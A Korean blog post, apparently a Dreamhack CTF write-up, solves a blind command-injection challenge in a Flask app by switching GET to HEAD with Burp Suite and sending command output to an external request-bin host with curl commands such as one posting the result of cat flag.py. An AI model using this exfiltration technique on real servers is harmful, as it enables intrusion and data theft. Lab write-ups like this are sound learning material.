yon11b

[DH] blind-command 본문

보안/웹

[DH] blind-command

yon11b 2022. 1. 27. 11:10
반응형

문제

문제 화면

코드

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

 

코드 분석

  • ?cmd로 입력되지 않으면 return "?cmd=[cmd]" 을 한다
  • GET 방식으로 입력이 되면 ‘’ 이 된다.
  • else인 경우에만 명령어가 제대로 인식이 된다.

따라서 url에 cmd=~~로 입력하면 ~~만 화면에 출력될 것이다

  • ?cmd=ls를 입력해보았더니 ls만 뜨고 아무것도 뜨지 않았다.
  • ?cmd=dir도 마찬가지였다.

따라서 우리는 GET 방식이 아닌, 다른 방식으로 해결해야 할 것이다.

시도1- POST 방식으로 전달

요청을 날린 후 burp suite를 사용하여 중간에 잡아서 1번째 줄에서 GET -> POST로 바꾸어 준다

그리고 아래 코드들도 추가해 준다

Content-Type: application/x-www-form-urlencoded
Content-Length: 6
cmd=ls

 

405 에러 - Method not allowed (혀용되지 않는 http method 사용함) 이 떴다.

 

생각해보니까 파이썬 코드에서 methods=GET으로 되어 있어서

@app.route('/' , methods=['GET'])

POST 방식으로 요청이 안 되는 것 같았다.

시도2- HEAD 방식으로 전달

GET을 우회할 수 있는 다른 메소드를 찾다가 HEAD가 GET이랑 비슷하다는 것을 알게 되었다.

  • GET
    • URI로 지정한 정보를 header와 body에 담아서 응답
  • HEAD
    • GET과 비슷하지만 header로만 응답

그래서 burp suite를 이용해서 GET→HEAD로 바꾸고 forward해도

body는 반환하지 않기 때문에 빈 화면이 뜨는 것이다.

즉, 이런 방식으로 해서는 실행결과를 확인할 수 없다.

시도3 - 외부로 데이터 전달

드림핵 강의에서는 이렇게 실행결과를 확인할 수 없는 환경에서 우회하는 방법에 대해 알려주고 있다.

Network Outbound 방법 사용

  • OS명령어를 실행한 결과를 네트워크 도구를 이용해 외부 서버로 전송시키는 방법

https://dreamhack.io/learn/28#9

그리고 외부 서버 url도 제공하고 있다.

https://tools.dreamhack.games/requestbin/brmmiok

request bin에서 제공하는 url 주소로 요청을 보내면 응답을 확인할 수 있다!

DH 강의를 보면 body를 통해 응답결과를 볼 수 있는 방법으로는 curl,wget이 있는 것 같다.

curl 명령어를 사용해보자

일단 어느 파일들이 있는지 확인하기 위해서 ls -al을 해보았다.

curl <https://fsnegei.request.dreamhack.games/> -d "$(ls -al)"

GET → HEAD → Forward 클릭

DH tools 사이트에 가서 확인해보니 POST로 들어온 응답이 있었다!

 

Body 부분을 잘 보면 flag.py를 볼 수 있다

그럼 이제 cat flag.py로 flag를 얻어보자!

아래처럼 url에 입력하고

<http://host1.dreamhack.games:18844/?cmd=curl> [DHtool에서제공하는 url]/-d "$(cat%20flag.py)"

똑같이 버프스위트 켜서 GET을 HEAD로 바꾸고 forward 누른 다음에 DH 사이트가서 확인해보면 Body 부분에 Flag가 잘 담긴 것을 확인할 수 있다!

728x90

'보안 > ' 카테고리의 다른 글

[webhacking.kr]old-14 문제  (0) 2022.02.08
[webhacking.kr] old-01 문제  (0) 2022.02.08
los 문제보다가 갑자기 생긴 의문(해결)  (1) 2022.02.03
[los]darkknight_writeup  (0) 2022.01.13
[los]golem_writeup  (1) 2022.01.13